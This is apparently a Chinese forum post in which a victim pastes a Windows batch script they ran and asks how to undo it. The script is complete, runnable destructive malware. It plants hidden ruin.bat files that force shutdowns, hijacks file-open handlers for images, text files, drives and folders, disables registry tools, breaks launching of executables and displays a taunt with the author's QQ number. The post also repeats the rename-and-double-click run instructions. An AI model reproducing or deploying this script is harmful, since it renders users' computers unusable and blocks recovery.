手贱点了个吊丝发的东西结果。。。。。
@echo off
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
color 5e
rem 添加ruin文件...
if exist %windir%\ruin.bat attrib -h -s -r %windir%\ruin.bat
echo @echo off >%windir%\ruin.bat
echo if not exist h:\111.txt shutdown -s -t 550 -c "sorry, something is wrong in your system, it will be terminated..." >>%windir%\ruin.bat
echo @echo msgbox "Bye-Bye !">msg.vbs >>%windir%\ruin.bat
echo @msg.vbs >>%windir%\ruin.bat
echo @del msg.vbs >>%windir%\ruin.bat
echo @echo off >%windir%\system32\ruin.bat
echo if not exist h:\111.txt shutdown -s -t 15 -c "sorry, something is wrong in your system, it will be terminated..." >>%windir%\system32\ruin.bat
echo @echo msgbox "Bye-Bye !">msg.vbs >>%windir%\system32\ruin.bat
echo @msg.vbs >>%windir%\system32\ruin.bat
echo @del msg.vbs >>%windir%\system32\ruin.bat
rem 修改注册表...
echo Windows Registry Editor Version 5.00 >change.reg
echo [HKEY_CLASSES_ROOT\jpegfile\shell\open\command] >>change.reg
echo @="c:\\windows\\system32\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\bmpfile\shell\open\command] >>change.reg
echo @="c:\\windows\\system32\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\icofile\shell\open\command] >>change.reg
echo @="c:\\windows\\system32\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\giffile\shell\open\command] >>change.reg
echo @="c:\\windows\\system32\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\jpgfile\shell\open\command] >>change.reg
echo @="c:\\windows\\system32\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\Drive\shell\敢不敢点我??\command] >>change.reg
echo @="c:\\windows\\ruin.bat %1" >>change.reg
echo [HKEY_CLASSES_ROOT\Folder\shell\你敢不敢点我?\command] >>change.reg
echo @="c:\\windows\\ruin.bat %%1" >>change.reg
echo [HKEY_CLASSES_ROOT\txtfile\shell\open\command] >>change.reg
echo @="c:\\windows\\ruin.bat %%1" >>change.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >>change.reg
echo "DisableRegistryTools"=dword:00000001 >>change.reg
echo [HKEY_CLASSES_ROOT\exefile\shell\open\command] >>change.reg
echo @=- >>change.reg
echo [HKEY_CLASSES_ROOT\exefile\shell\runas\command] >>change.reg
echo @=- >>change.reg
regedit /s change.reg
del change.reg
rem 修改属性...
attrib +h +s +r %windir%\ruin.bat
attrib +h +s +r %windir%\system32\ruin.bat
@echo msgbox "对不起, 您的系统已经出现问题 ! 请您记下作者QQ1044992985 也许对您会有帮助的">msg.vbs
@msg.vbs
@del msg.vbs
rem 销毁...
del *.bat
复制到txt 改txt为bat 双击
谁懂怎么恢复过来阿